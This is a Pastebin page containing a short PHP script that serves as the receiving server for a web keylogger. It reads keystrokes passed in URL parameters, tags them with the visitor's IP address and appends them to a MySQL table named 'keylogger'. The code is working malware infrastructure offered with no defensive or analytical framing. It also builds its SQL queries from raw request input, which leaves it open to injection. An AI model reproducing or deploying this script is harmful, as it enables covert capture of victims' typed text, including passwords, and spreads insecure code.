Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- #in the specified database there needs to be a table setup
- #with 2 rows, IPID [type: TEXT] and KEYS_LOGGED [type: TEXT]
- $mysql_host = "";
- $mysql_user = "";
- $mysql_password = "";
- $mysql_database = "";
- function mquery($str) { $res = mysql_query($str) or die(); return $res; }
- mysql_connect($mysql_host, $mysql_user, $mysql_password) or die();
- mysql_select_db($mysql_database) or die();
- $rIP = $_SERVER['REMOTE_ADDR'];
- $ipid = $rIP . '-' . $_GET['i'];
- $key = $_GET['k'];
- if ($key == "SPACE") { $key = ' '; }
- if ($key == "ENTER") { $key = '\n'; }
- $res = mquery("SELECT * FROM keylogger WHERE IPID='$ipid'");
- if (mysql_num_rows($res) == 0) { mquery("INSERT INTO keylogger (IPID, KEYS_LOGGED) VALUES('$ipid', '$key')"); }
- else {
- $row=mysql_fetch_array($res);
- $logged=$row[1].$key;
- mquery("UPDATE keylogger SET KEYS_LOGGED='$logged' WHERE IPID='$ipid'");
- }
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement